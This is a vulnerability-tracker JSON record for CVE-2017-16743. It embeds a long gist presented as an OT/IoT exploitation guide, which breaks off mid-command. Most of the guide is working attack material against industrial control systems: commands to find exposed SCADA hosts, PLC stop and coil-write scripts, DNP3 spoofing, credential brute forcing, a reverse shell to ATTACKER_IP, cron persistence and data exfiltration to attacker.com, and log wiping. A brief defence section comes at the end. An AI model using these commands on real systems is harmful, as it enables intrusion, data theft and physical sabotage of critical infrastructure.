{"vulnerability": "cve-2017-16743", "sightings": [{"uuid": "b640950d-6046-49c4-9886-67c69a3da5ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16743", "type": "seen", "source": "https://gist.github.com/aw-junaid/e5393ee0715383c3f6ffefc141c7b487", "content": "", "creation_timestamp": "2026-01-30T19:02:30.000000Z"}, {"uuid": "b6d8f56c-badb-4a88-8771-833f94cf7b44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16743", "type": "seen", "source": "https://gist.github.com/bbrk364/c0171ce39dd4dd9700b98e3aedec0f0c", "content": "# Operational Technology (OT) & IoT Security Exploitation Guide\n\nComprehensive guide to OT/IoT security testing covering ICS/SCADA protocols, industrial control systems, IoT device exploitation, firmware analysis, hardware interfaces, and wireless protocols with practical attack methodologies and defense strategies.\n\n---\n\n## OT Security Architecture & Threat Landscape\n\n### **OT vs IT Security Differences**\n\n| Aspect | IT Security | OT Security |\n|--------|-------------|-------------|\n| **Primary Concern** | Data confidentiality | System availability |\n| **Patching** | Regular updates | Limited, scheduled |\n| **Lifespan** | 3-5 years | 15-30 years |\n| **Risk Tolerance** | Medium | Very Low |\n| **Impact** | Financial loss | Physical damage, safety risks |\n| **Protocols** | TCP/IP, HTTP | Modbus, DNP3, PROFINET |\n\n### **Critical Infrastructure Sectors**\n\n1. **Energy** - Power grids, oil & gas pipelines\n2. **Water** - Treatment plants, distribution systems\n3. **Transportation** - Air traffic, rail systems\n4. **Manufacturing** - Industrial control systems\n5. **Healthcare** - Medical devices, hospital systems\n6. **Communications** - Telecom networks\n\n---\n\n## OT Protocol Enumeration & Exploitation\n\n### **Common OT Protocols & Ports**\n\n| Protocol | Port | Purpose | Tool |\n|----------|------|---------|------|\n| Modbus | 502 | Process automation | modscan, mbtget |\n| DNP3 | 20000 | Electrical grid control | dnp3-map |\n| S7comm | 102 | Siemens PLCs | s7scan, snap7 |\n| PROFINET | 34962/34964 | Industrial Ethernet | profinetd |\n| EtherNet/IP | 44818 | Allen-Bradley PLCs | enip-tools |\n| BACnet | 47808 | Building automation | bacnet-utils |\n| IEC 61850 | 102 | Electrical substations | libiec61850 |\n| OPC UA | 4840 | Data exchange | opcua-client |\n\n### **Network Discovery & Enumeration**\n\n**Shodan Dorks for OT Systems:**\n```bash\n# Modbus\n\"port:502\" \"product:modbus\"\n\"port:502\" \"content:modbus\"\n\n# Siemens S7\n\"port:102\" \"Siemens\"\n\"port:102\" \"S7comm\"\n\n# Allen-Bradley\n\"port:44818\" \"Rockwell\"\n\"port:44818\" \"EtherNet/IP\"\n\n# General ICS/SCADA\n\"SCADA\" \"port:102,502,20000,44818\"\n\"PLC\" \"port:102,502\"\n\"industrial control\"\n\n# VNC/RDP for HMIs\n\"port:5900\" \"RFB 003.008\"\n\"port:3389\" \"MS RDP\"\n```\n\n**Nmap Scripts for OT:**\n```bash\n# Comprehensive OT scan\nnmap -sS -sV -p 102,502,20000,44818,47808,34962-34964 --script=\"*scada*\" target\n\n# Modbus discovery\nnmap --script modbus-discover -p 502 target\n\n# Siemens S7 scan\nnmap --script s7-info -p 102 target\n\n# BACnet scan\nnmap --script bacnet-info -p 47808 target\n\n# All known ICS ports\nnmap -p 102,502,20000,2404,4000,4840,4843,4911,9600,1883,20547,34962-34964,44818,47808 target\n```\n\n**Masscan for Large Networks:**\n```bash\n# Fast OT port scanning\nmasscan -p102,502,20000,44818,47808,34962-34964 10.0.0.0/8 --rate=10000\n\n# Output to file\nmasscan -p102,502 192.168.0.0/16 -oL ot_scan.txt\n```\n\n### **Protocol-Specific Exploitation**\n\n#### **Modbus Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using modscan\npython3 modscan.py -t target_ip -p 502\n\n# Enumerate devices\nmodscan.py -a target_ip -p 502 -t 0 -r 1-100\n\n# Read holding registers\nmbtget -a 1 -r 40001-40010 -p 502 target_ip\n\n# Write to coils (dangerous!)\nmbtget -a 1 -f 0 -c 1 -v 1 -p 502 target_ip\n```\n\n**Metasploit Modules:**\n```bash\nuse auxiliary/scanner/scada/modbusclient\nset RHOSTS target_ip\nset RPORT 502\nrun\n\n# Write single coil (turn on/off)\nuse auxiliary/admin/scada/modbus_write_coil\nset RHOST target_ip\nset RPORT 502\nset UNIT_ID 1\nset COIL_ADDR 0\nset COIL_VALUE 1\nrun\n```\n\n**Python Exploitation:**\n```python\nfrom pymodbus.client import ModbusTcpClient\n\nclient = ModbusTcpClient('target_ip', port=502)\nclient.connect()\n\n# Read coils\nresult = client.read_coils(0, 10)\nprint(f\"Coils: {result.bits}\")\n\n# Write coil (turn on)\nclient.write_coil(0, True)\n\n# Read holding registers\nresult = client.read_holding_registers(40001, 10)\nprint(f\"Registers: {result.registers}\")\n\n# Write register (change value)\nclient.write_register(40001, 1000)\n```\n\n#### **Siemens S7 Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using s7scan\npython3 s7scan.py -t target_ip\n\n# With snap7\npython3 -c \"\nimport snap7\nclient = snap7.client.Client()\nclient.connect('target_ip', 0, 1)\nprint(client.get_cpu_info())\nclient.disconnect()\n\"\n\n# Metasploit\nuse auxiliary/scanner/scada/siemens_s7_scan\nset RHOSTS target_ip\nrun\n```\n\n**Stop CPU (Denial of Service):**\n```python\nfrom snap7.client import Client\n\nclient = Client()\nclient.connect('target_ip', 0, 1)\nclient.plc_stop()  # Stops PLC operation\n```\n\n**Read/Write Memory:**\n```python\nfrom snap7.util import *\nfrom snap7.client import Client\n\nclient = Client()\nclient.connect('target_ip', 0, 1)\n\n# Read memory area\ndata = client.read_area(0x84, 0, 0, 100)  # DB area\nvalue = get_int(data, 0)\nprint(f\"Value: {value}\")\n\n# Write to memory\ndata = bytearray(2)\nset_int(data, 0, 9999)\nclient.write_area(0x84, 0, 0, data)\n```\n\n#### **DNP3 Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using dnp3-map\npython3 dnp3-map.py -t target_ip -p 20000\n\n# Scan for DNP3\nnmap --script dnp3-info -p 20000 target_ip\n\n# Metasploit\nuse auxiliary/scanner/scada/dnp3_scan\nset RHOSTS target_ip\nrun\n```\n\n**Master Spoofing:**\n```python\nfrom pydnp3 import opendnp3, asiodnp3, asiopal\n\n# Create fake master\nstack_config = asiodnp3.DNP3Manager()\nchannel = stack_config.add_channel(\n    \"client\",\n    asiopal.ChannelRetry().defaults(),\n    \"0.0.0.0\",\n    20000,\n    asiodnp3.PrintingChannelListener().Create()\n)\n\nmaster = channel.add_master(\n    \"master\",\n    asiodnp3.PrintingSOEHandler().Create(),\n    asiodnp3.DefaultMasterApplication().Create(),\n    opendnp3.MasterStackConfig()\n)\n\n# Send control commands\ncommand = opendnp3.ControlRelayOutputBlock(\n    opendnp3.ControlCode.LATCH_ON,\n    1,\n    1000,\n    opendnp3.CommandStatus.SUCCESS\n)\n\nmaster.direct_operate(command, 0)\n```\n\n#### **EtherNet/IP (Allen-Bradley) Attacks**\n\n**Enumeration:**\n```bash\n# Using enip-tools\npython3 enip.py -i target_ip scan\n\n# List services\npython3 enip.py -i target_ip list_services\n\n# List identity\npython3 enip.py -i target_ip list_identity\n```\n\n**Read/Write Tags:**\n```python\nfrom cpppo.server.enip import client\n\n# Read tag\nwith client.connector(host='target_ip') as conn:\n    operations = [('@4/1/3', 'SINT')]  # Read tag at path\n    failures, responses = conn.synchronous(operations=operations)\n    print(f\"Value: {responses[0]}\")\n\n# Write tag\nwith client.connector(host='target_ip') as conn:\n    operations = [('@4/1/3=42', 'SINT')]  # Write value 42\n    failures, _ = conn.synchronous(operations=operations)\n```\n\n#### **BACnet Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using bacnet-utils\nbacdiscover -d target_ip\n\n# Read device properties\nbaccfg -d target_ip -a 1001 read Device 1 objectName\n\n# Write property (if writable)\nbaccfg -d target_ip -a 1001 write Device 1 objectName \"HACKED\"\n\n# Metasploit\nuse auxiliary/scanner/scada/bacnet_discover\nset RHOSTS target_ip\nrun\n```\n\n**Denial of Service:**\n```bash\n# Flood with Who-Is requests\npython3 -c \"\nfrom bacpypes.local.device import LocalDeviceObject\nfrom bacpypes.apdu import WhoIsRequest\nfrom bacpypes import Address\n\n# Create broadcast request\nrequest = WhoIsRequest()\nrequest.pduDestination = Address('192.168.1.255/47808')\n\n# Send repeatedly\nfor _ in range(1000):\n    request.encode()\n\"\n```\n\n---\n\n## HMI & Remote Access Exploitation\n\n### **VNC (Virtual Network Computing)**\n\n**Discovery:**\n```bash\n# Shodan search\n\"vnc port:5900 country:us\"\n\"RFB 003.008\"\n\n# Nmap scan\nnmap -p 5900-5910 -sV --script vnc-info,vnc-title target\n\n# Mass scanning\nmasscan -p5900-5910 10.0.0.0/8 --rate=10000\n\n# Check for authentication\nnc -zv target_ip 5900\necho \"RFB 003.008\\n\" | nc target_ip 5900\n```\n\n**Brute Force Attacks:**\n```bash\n# Using Hydra\nhydra -L users.txt -P passwords.txt -s 5900 -f -vV target_ip vnc\n\n# Using Metasploit\nuse auxiliary/scanner/vnc/vnc_login\nset RHOSTS target_ip\nset USER_FILE /path/to/users.txt\nset PASS_FILE /path/to/passwords.txt\nrun\n\n# Using vncrack\nvncrack -P passwords.txt -u username -H target_ip -v 5900\n```\n\n**Exploitation:**\n```bash\n# Connect with vncviewer\nvncviewer target_ip::5900\n\n# With password\nvncviewer -passwd password.txt target_ip:5900\n\n# Autopass (if password stored)\nvncviewer -autopass target_ip:5900\n\n# Screenshot capture\nvncsnapshot target_ip:5900 screenshot.jpg\n```\n\n### **RDP (Remote Desktop Protocol)**\n\n**Discovery:**\n```bash\n# Shodan search\n\"port:3389 product:\"Microsoft Terminal Services\"\"\n\"rdp country:de\"\n\n# Nmap scan\nnmap -p 3389 -sV --script rdp-enum-encryption,rdp-ntlm-info target\n\n# Check for BlueKeep vulnerability\nnmap -p 3389 --script rdp-vuln-ms12-020 target\n\n# Mass scanning\nmasscan -p3389 192.168.0.0/16 --rate=5000\n```\n\n**Brute Force Attacks:**\n```bash\n# Using Hydra\nhydra -L users.txt -P passwords.txt -s 3389 -f -vV target_ip rdp\n\n# Using Crowbar\ncrowbar -b rdp -s target_ip/32 -u users.txt -C passwords.txt\n\n# Using Ncrack\nncrack -vv --user username -P passwords.txt rdp://target_ip\n\n# Using Medusa\nmedusa -u username -P passwords.txt -h target_ip -M rdp\n```\n\n**Exploitation:**\n```bash\n# Connect with rdesktop\nrdesktop -u administrator -p Password123 -g 1024x768 -a 16 target_ip\n\n# With xfreerdp (supports NLA)\nxfreerdp /u:administrator /p:Password123 /v:target_ip /cert-ignore\n\n# With Remmina\nremmina --connect rdp://administrator:Password123@target_ip\n\n# Pass-the-hash attack\nxfreerdp /u:administrator /pth:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 /v:target_ip\n```\n\n### **TR-069 (CWMP) Exploitation**\n\n**Discovery:**\n```bash\n# Shodan search\n\"port:7547 product:\"TR-069\"\"\n\"CWMP\"\n\n# Nmap scan\nnmap -p 7547 -sV --script tr069-discover target\n\n# Check for exposed interfaces\ncurl -k https://target_ip:7547/\ncurl http://target_ip:7547/\n```\n\n**Exploitation:**\n```bash\n# Using genieacs\npython3 genieacs.py --host target_ip --port 7547 --list\n\n# Brute force credentials\nhydra -L users.txt -P passwords.txt -s 7547 target_ip http-post-form \\\n\"/:username=^USER^&password=^PASS^:Invalid\"\n\n# SOAP injection\ncurl -X POST http://target_ip:7547/ \\\n-H \"Content-Type: text/xml\" \\\n-d '\n\n\n\n\nInternetGatewayDevice.\n\n\n\n'\n```\n\n---\n\n## ICS/SCADA Specific Software Exploitation\n\n### **PRTG Network Monitor**\n\n**Discovery:**\n```bash\n# Shodan search\n\"title:PRTG inurl:/public\"\n\"PRTG Traffic Grapher\"\n\n# Directory enumeration\ngobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt \\\n-x php,html,aspx\n\n# Version detection\ncurl -I http://target_ip/ | grep -i \"PRTG\"\n```\n\n**Exploitation:**\n```bash\n# Metasploit module\nuse exploit/windows/http/prtg_authenticated_rce\nset RHOSTS target_ip\nset RPORT 80\nset USERNAME prtgadmin\nset PASSWORD prtgadmin\nset TARGETURI /\nexploit\n\n# Directory traversal (CVE-2018-9276)\ncurl \"http://target_ip/public/login.htm?tabid=0&username=..\\..\\..\\..\\..\\windows\\system.ini\"\n\n# API key extraction\ncurl \"http://target_ip/api/table.xml?content=sensors&columns=objid,group,device,probe,sensor&loginurl=/public/login.htm&username=prtgadmin&password=prtgadmin\"\n```\n\n### **WinCC (Siemens)**\n\n**Discovery:**\n```bash\n# Shodan search\n\"port:102 product:WinCC\"\n\"Siemens SIMATIC WinCC\"\n\n# Web interface\nnmap -p 80,443 --script http-title target\n```\n\n**Exploitation:**\n```bash\n# Database access (default credentials)\nsqsh -S WinCC -U wincc -P wincc\n\n# Directory traversal\ncurl \"http://target_ip/WinCC/scripts/..\\..\\..\\..\\windows\\system.ini\"\n\n# Metasploit modules\nuse exploit/windows/scada/wincc_webexec\nuse auxiliary/admin/scada/wincc_a7_dataget\n```\n\n### **InduSoft Web Studio**\n\n**Discovery:**\n```bash\n# Shodan search\n\"InduSoft Web Studio\"\n\"port:1234 product:InduSoft\"\n\n# Default credentials\nadmin/1234\nadmin/admin\n```\n\n**Exploitation:**\n```bash\n# Directory traversal (CVE-2017-16744)\ncurl \"http://target_ip:1234/../../windows/system.ini\"\n\n# Buffer overflow (CVE-2017-16743)\npython3 -c \"\nimport socket\ns = socket.socket()\ns.connect(('target_ip', 1234))\npayload = 'A' * 5000\ns.send(payload)\n\"\n```\n\n---\n\n## IoT Device Exploitation Methodology\n\n### **Firmware Analysis**\n\n**Initial Analysis:**\n```bash\n# Identify file type\nfile firmware.bin\n\n# Extract strings\nstrings firmware.bin | head -100\nstrings -n 8 firmware.bin > strings.txt\nstrings -tx firmware.bin | grep -i \"password\\|admin\\|root\"\n\n# Check entropy\nbinwalk -E firmware.bin\n\n# List embedded files\nbinwalk firmware.bin\n\n# Extract file system\nbinwalk -e firmware.bin\n```\n\n**Advanced Analysis:**\n```bash\n# Using FACT (Firmware Analysis and Comparison Tool)\ncd /opt/fact\nsudo python3 -m fact.firmware firmware.bin\n\n# Using EMBBA\nsudo ./emba.sh -f firmware.bin -l ./logs -p ./scan-profiles/default\n\n# Using Firmware Analysis Toolkit (FAT)\nsudo python3 ./fat.py firmware.bin --qemu 2.5.0\n\n# Extract with fmk\n./extract-firmware.sh firmware.bin\n```\n\n**Filesystem Examination:**\n```bash\n# Mount extracted filesystem\nsudo mount -o loop extracted.squashfs /mnt/firmware\n\n# Search for sensitive files\nfind /mnt/firmware -type f -name \"*.pem\" -o -name \"*.key\" -o -name \"*password*\"\nfind /mnt/firmware -type f -exec grep -l \"password\" {} \\;\nfind /mnt/firmware -type f -perm -4000  # SUID files\n\n# Check configuration files\ncat /mnt/firmware/etc/passwd\ncat /mnt/firmware/etc/shadow\ncat /mnt/firmware/etc/config/*\n```\n\n### **Hardware Interfaces Exploitation**\n\n#### **UART (Universal Asynchronous Receiver-Transmitter)**\n\n**Identification:**\n```bash\n# Look for 4 pins: VCC, GND, TX, RX\n# Use multimeter to identify:\n# GND: 0V continuous\n# VCC: 3.3V or 5V\n# TX: Fluctuating voltage\n# RX: Steady voltage\n\n# Common baud rates: 115200, 9600, 57600, 38400\n```\n\n**Connection & Exploitation:**\n```bash\n# Using screen\nscreen /dev/ttyUSB0 115200\n\n# Using minicom\nminicom -D /dev/ttyUSB0 -b 115200\n\n# Using cu\ncu -l /dev/ttyUSB0 -s 115200\n\n# Common commands once connected:\n# Interrupt boot process (Ctrl+C, Ctrl+Z, Enter)\n# Check for bootloader prompt (U-Boot, RedBoot)\n# Access shell\n```\n\n**Bootloader Exploitation:**\n```bash\n# U-Boot common commands\nprintenv  # Show environment variables\nsetenv bootargs \"console=ttyS0,115200 init=/bin/sh\"  # Change init\nsaveenv  # Save changes\nboot  # Continue booting\n\n# RedBoot commands\nfis list  # List flash partitions\nload -r -b 0x80000000 firmware.bin  # Load new firmware\nfis create rootfs  # Write to flash\n```\n\n#### **JTAG (Joint Test Action Group)**\n\n**Identification:**\n```bash\n# Look for 20-pin or 10-pin connector\n# Common pinouts:\n# TDI, TDO, TCK, TMS, TRST, VREF, GND\n\n# Using OpenOCD for detection\nopenocd -f interface/jlink.cfg -c \"transport select jtag\" -c \"adapter_khz 1000\" -c \"init\"\n```\n\n**Exploitation with OpenOCD:**\n```bash\n# Start OpenOCD server\nopenocd -f interface/jlink.cfg -f target/arm7tdmi.cfg\n\n# Connect with telnet\ntelnet localhost 4444\n\n# Common commands:\n> halt  # Stop CPU\n> reg  # Show registers\n> mdw 0x00000000 10  # Read memory\n> mww 0x00000000 0xdeadbeef  # Write memory\n> load_image firmware.bin 0x80000000  # Load firmware\n> resume  # Continue execution\n```\n\n**GDB Debugging:**\n```bash\n# Connect GDB to OpenOCD\narm-none-eabi-gdb firmware.elf\n(gdb) target remote localhost:3333\n(gdb) monitor halt\n(gdb) info registers\n(gdb) break main\n(gdb) continue\n```\n\n#### **SWD (Serial Wire Debug)**\n\n**Connection:**\n```bash\n# 4 pins: SWDIO, SWCLK, GND, VREF\nopenocd -f interface/stlink-v2.cfg -c \"transport select swd\" -f target/stm32f1x.cfg\n```\n\n**Dumping Flash:**\n```bash\n# In OpenOCD telnet\n> dump_image flash.bin 0x08000000 0x10000  # Dump 64KB\n\n# Using pyOCD\npyocd-flashtool -t stm32f103 -ce  # Chip erase\npyocd-flashtool -t stm32f103 -r flash.bin  # Read flash\n```\n\n#### **SPI (Serial Peripheral Interface)**\n\n**Sniffing with Bus Pirate:**\n```bash\n# Connect: MOSI, MISO, CLK, CS\n# Initialize\nm  # Set mode\n5  # SPI\n4  # 30kHz\n1  # Output type\nW  # Power supplies on\n\n# Sniff traffic\n(1)  # Start sniff\n(1)  # Stop sniff\n```\n\n**Flash Dumping:**\n```bash\n# Using flashrom\nflashrom -p linux_spi:dev=/dev/spidev0.0 -r firmware.bin\n\n# Using SPI with Arduino\n# Use SPI library to read/write flash chips\n```\n\n#### **I2C (Inter-Integrated Circuit)**\n\n**Enumeration:**\n```bash\n# Scan for devices\ni2cdetect -y 1  # Raspberry Pi\ni2cdetect -y 0  # Other boards\n\n# Read from device\ni2cget -y 1 0x50 0x00  # Read byte from address 0x50\ni2cdump -y 1 0x50  # Dump all registers\n\n# Write to device\ni2cset -y 1 0x50 0x00 0xFF  # Write byte\n```\n\n**EEPROM Dumping:**\n```bash\n# Dump entire EEPROM\ndd if=/sys/bus/i2c/devices/1-0050/eeprom of=eeprom.bin\n\n# Using flashrom\nflashrom -p buspirate_spi:dev=/dev/ttyUSB0 -r eeprom.bin\n```\n\n### **Wireless Protocol Attacks**\n\n#### **Zigbee/Z-Wave**\n\n**Sniffing with KillerBee:**\n```bash\n# List devices\nsudo zbid\n\n# Sniff traffic\nsudo zbwireshark  # GUI\nsudo zbdump -i /dev/ttyUSB0 -w capture.pcap  # CLI\n\n# Capture specific channel\nsudo zbdump -i /dev/ttyUSB0 -c 15 -w channel15.pcap\n\n# Replay attack\nsudo zbreplay -i /dev/ttyUSB0 -r capture.pcap -f 1\n\n# Packet injection\nsudo zbinject -i /dev/ttyUSB0 -c 15 -p \"malicious_packet\"\n```\n\n**Exploitation:**\n```bash\n# Crack network key\nsudo zbgoodfind -r capture.pcap\n\n# De-authentication attack\nsudo zbstumbler -i /dev/ttyUSB0\n\n# Key extraction from devices\n# Requires physical access to extract keys from chips\n```\n\n#### **Bluetooth Low Energy (BLE)**\n\n**Discovery:**\n```bash\n# Scan for devices\nsudo hcitool lescan\nsudo bluetoothctl scan on\n\n# Get device info\nsudo hcitool leinfo MAC_ADDRESS\n```\n\n**GATT Enumeration:**\n```bash\n# Using gatttool\ngatttool -b MAC_ADDRESS -I\n[CONNECTED]> primary\n[CONNECTED]> characteristics\n[CONNECTED]> char-read-hnd 0x000c\n```\n\n**Exploitation with GATTacker:**\n```bash\n# Clone BLE device\nnode clone.js MAC_ADDRESS\n\n# MITM attack\nnode advertise.js -s \"Spoofed Device\"\n\n# Fuzzing\npython3 ble_fuzzer.py -t MAC_ADDRESS\n```\n\n#### **LPWAN (LoRaWAN, Sigfox)**\n\n**LoRaWAN Sniffing:**\n```bash\n# Using gr-lora\ngnuradio-companion  # Use LoRa receiver flowgraph\n\n# Using SDR with Lorawan decoder\nrtl_sdr -f 868000000 -s 1000000 -g 40 - | lorawan-decoder\n\n# Capture packets\nsudo tshark -i lo -Y \"lorawan\" -w lorawan.pcap\n```\n\n**Replay Attacks:**\n```bash\n# Record transmission\nrtl_sdr -f 868000000 -s 1000000 -g 40 capture.bin\n\n# Replay with HackRF\nhackrf_transfer -t capture.bin -f 868000000 -s 1000000 -a 1 -x 40\n```\n\n**Jamming:**\n```bash\n# Generate noise\nhackrf_transfer -t noise.bin -f 868000000 -s 1000000 -a 1 -x 40\n```\n\n#### **Wi-Fi Attacks on IoT**\n\n**De-authentication:**\n```bash\n# Using aireplay-ng\naireplay-ng -0 10 -a AP_MAC -c CLIENT_MAC wlan0mon\n\n# Using mdk4\nmdk4 wlan0mon d -b blacklist.txt -c 1\n```\n\n**WPA2 Enterprise Attacks:**\n```bash\n# EAP attack with hostapd-wpe\nhostapd-wpe hostapd-wpe.conf\n\n# Capture credentials\nasleap -r capture.cap -f wordlist.txt\n```\n\n**WPS PIN Attacks:**\n```bash\n# Using Reaver\nreaver -i wlan0mon -b AP_MAC -vv\n\n# Using bully\nbully wlan0mon -b AP_MAC -p 12345670\n```\n\n### **Web Interface & API Attacks**\n\n**Default Credentials:**\n```bash\n# Common IoT defaults\nadmin/admin\nadmin/password\nroot/root\nuser/user\nsupport/support\ntechnician/technician\n\n# Manufacturer-specific\nCisco/Cisco\nD-Link/admin\nNetgear/password\nTP-Link/admin\nUbiquiti/ubnt\n```\n\n**Directory Enumeration:**\n```bash\n# Using Gobuster\ngobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt \\\n-x php,html,txt,cgi,bin,sh\n\n# Using Dirb\ndirb http://target_ip /usr/share/wordlists/dirb/common.txt\n\n# Using FFuF\nffuf -u http://target_ip/FUZZ -w wordlist.txt\n```\n\n**API Testing:**\n```bash\n# Discover endpoints\ncurl http://target_ip/api/v1/\ncurl http://target_ip/rest/\ncurl http://target_ip/webservices/\n\n# Fuzz parameters\nwfuzz -c -z file,wordlist.txt --hc 404 http://target_ip/api/FUZZ\n\n# Test for injection\ncurl \"http://target_ip/api/control?device=1;ls\"\ncurl -X POST http://target_ip/api/config -d \"data=alert(1)\"\n```\n\n### **Common IoT Vulnerabilities**\n\n**Command Injection:**\n```bash\n# Test for command injection\ncurl \"http://target_ip/ping?ip=127.0.0.1;whoami\"\ncurl \"http://target_ip/ping?ip=127.0.0.1||id\"\ncurl \"http://target_ip/ping?ip=127.0.0.1&&cat /etc/passwd\"\n\n# Reverse shell\ncurl \"http://target_ip/ping?ip=127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"\n```\n\n**Path Traversal:**\n```bash\ncurl \"http://target_ip/../../etc/passwd\"\ncurl \"http://target_ip/%2e%2e/%2e%2e/etc/passwd\"\ncurl \"http://target_ip/..%2f..%2fetc%2fpasswd\"\n```\n\n**Insecure Direct Object Reference:**\n```bash\n# Bypass authorization\ncurl \"http://target_ip/api/user/1\"  # Try 2, 3, etc.\ncurl \"http://target_ip/api/device/100/config\"\n```\n\n**XML External Entity (XXE):**\n```bash\ncurl -X POST http://target_ip/api/config \\\n-H \"Content-Type: application/xml\" \\\n-d '\n ]>\n&xxe;'\n```\n\n**Server-Side Request Forgery (SSRF):**\n```bash\ncurl \"http://target_ip/proxy?url=http://169.254.169.254/latest/meta-data/\"\ncurl \"http://target_ip/proxy?url=file:///etc/passwd\"\ncurl \"http://target_ip/proxy?url=gopher://attacker.com:80/_GET%20/internal\"\n```\n\n---\n\n## OT/IoT Security Assessment Methodology\n\n### **Phase 1: Reconnaissance**\n\n```bash\n# 1. Passive reconnaissance\n# Use Shodan, Censys, ZoomEye\nshodan search \"SCADA country:US\"\ncensys search \"services.service_name: MODBUS\"\n\n# 2. Active scanning\nnmap -sS -p 1-65535 -T4 -A -v target\nmasscan -p1-65535 target --rate=1000\n\n# 3. Protocol identification\nnmap --script banner -p- target\n```\n\n### **Phase 2: Enumeration**\n\n```bash\n# 1. Service enumeration\nnmap -sV -sC -p 102,502,20000,44818 target\n\n# 2. Web enumeration\ngobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt\n\n# 3. SNMP enumeration\nsnmpwalk -c public -v1 target\nsnmp-check target -c public\n```\n\n### **Phase 3: Vulnerability Assessment**\n\n```bash\n# 1. Protocol-specific testing\npython3 modscan.py -t target -p 502\npython3 s7scan.py -t target\n\n# 2. Web vulnerability scanning\nnikto -h http://target\nwapiti -u http://target\n\n# 3. Credential testing\nhydra -L users.txt -P passwords.txt target ssh\nhydra -L users.txt -P passwords.txt http-post-form \"/login.php:user=^USER^&pass=^PASS^:F=incorrect\"\n```\n\n### **Phase 4: Exploitation**\n\n```bash\n# 1. Protocol exploitation\n# Modbus write coil\nmbtget -a 1 -f 0 -c 1 -v 1 -p 502 target\n\n# S7 stop CPU\npython3 -c \"import snap7; client = snap7.client.Client(); client.connect('target', 0, 1); client.plc_stop()\"\n\n# 2. Web exploitation\n# Command injection\ncurl \"http://target/ping?ip=127.0.0.1;whoami\"\n\n# 3. Hardware exploitation\n# UART shell access\nscreen /dev/ttyUSB0 115200\n```\n\n### **Phase 5: Post-Exploitation**\n\n```bash\n# 1. Establish persistence\necho \"*/5 * * * * curl http://attacker.com/shell.sh | bash\" >> /etc/crontab\n\n# 2. Lateral movement\n# Scan internal network\nnmap -sn 192.168.1.0/24\n\n# 3. Data exfiltration\ntar czf data.tar.gz /etc/passwd /etc/shadow\ncurl -X POST -F \"file=@data.tar.gz\" http://attacker.com/upload\n```\n\n### **Phase 6: Reporting**\n\n```bash\n# 1. Document findings\n# Create detailed report with:\n# - Vulnerabilities found\n# - Risk assessment\n# - Proof of concept\n# - Remediation recommendations\n\n# 2. Clean up\n# Remove tools, logs, backdoors\nrm -rf /tmp/malware\nhistory -c\n```\n\n---\n\n## Defense & Mitigation Strategies\n\n### **Network Segmentation**\n\n```bash\n# Implement firewall rules\n# Example iptables rules for OT network\niptables -A INPUT -p tcp --dport 502 -s 10.0.1.0/24 -j ACCEPT\niptables -A INPUT -p tcp --dport 502 -j DROP\n\n# VLAN segmentation\n# Separate OT from IT network\nvlan 10\n name OT_NETWORK\nvlan 20\n name IT_NETWORK\n```\n\n### **Access Control**\n\n```bash\n# Strong authentication\n# Use certificate-based authentication for critical systems\nopenssl req -new -newkey rsa:2048 -days 365 -nodes -x509 \\\n-keyout ot_key.pem -out ot_cert.pem\n\n# Role-based access control\n# Implement least privilege principle\n```\n\n### **Monitoring & Detection**\n\n```bash\n# Network monitoring\n# Use tools like Security Onion, Wazuh\nsuricata -c /etc/suricata/suricata.yaml -i eth0\n\n# Anomaly detection\n# Monitor for abnormal protocol behavior\n# Alert on: Unusual write commands, out-of-range values, etc.\n```\n\n### **Secure Configuration**\n\n```bash\n# Change default credentials\n# Disable unnecessary services\n# Regular patching (where possible)\n# Network segmentation\n# Logging and monitoring\n```\n\n### **Incident Response**\n\n```bash\n# IR Plan for OT systems\n1. Immediate isolation\n2. Assess impact on physical processes\n3. Preserve forensic evidence\n4. Coordinate with operations team\n5. System restoration with integrity checks\n```\n\n---\n\n## Tools & Resources\n\n### **Essential OT/IoT Security Tools**\n\n| Category | Tools |\n|----------|-------|\n| **Network Scanning** | Nmap, Masscan, ZMap |\n| **Protocol Analysis** | Wireshark, tcpdump, Scapy |\n| **ICS Protocols** | modscan, s7scan, dnp3-map, enip-tools |\n| **Firmware Analysis** | Binwalk, FACT, EMBBA, FAT |\n| **Hardware Tools** | JTAGulator, Bus Pirate, Shikra, ChipWhisperer |\n| **Wireless** | KillerBee, Ubertooth, HackRF, RTL-SDR |\n| **Exploitation** | Metasploit, Cobalt Strike, Empire |\n| **Vulnerability Scanners** | Nessus, OpenVAS, Nikto |\n\n### **Online Resources**\n\n```bash\n# Shodan filters for OT\n\"port:502\" \"country:US\"\n\"SCADA\" \"port:102\"\n\"Modbus\" \"port:502\"\n\n# Censys queries\nservices.service_name: \"MODBUS\"\n443.https.tls.certificate.parsed.names: \"scada\"\n```\n---\n\n## Quick Reference Commands\n\n### **OT Protocol Discovery**\n```bash\n# Quick OT scan\nnmap -sS -p 102,502,20000,44818,47808,34962-34964 -oA ot_scan target\n\n# Modbus check\nnc -zv target 502\necho -ne \"\\x00\\x01\\x00\\x00\\x00\\x06\\x01\\x03\\x00\\x00\\x00\\x01\" | nc target 502 | hexdump -C\n\n# S7 check\nnc -zv target 102\n```\n\n### **Common Exploitation**\n```bash\n# Modbus write coil (turn on)\npython3 -c \"\nfrom pymodbus.client import ModbusTcpClient\nclient = ModbusTcpClient('target', port=502)\nclient.write_coil(0, True)\n\"\n\n# VNC brute force\nhydra -L admin -P rockyou.txt -s 5900 -f -vV target vnc\n\n# RDP connection\nxfreerdp /u:administrator /p:Password123 /v:target /cert-ignore\n```\n\n### **Hardware Access**\n```bash\n# UART connection\nscreen /dev/ttyUSB0 115200\n\n# JTAG debugging\nopenocd -f interface/jlink.cfg -f target/stm32f1x.cfg\ntelnet localhost 4444\n```\n\n### **Firmware Analysis**\n```bash\n# Quick analysis\nbinwalk 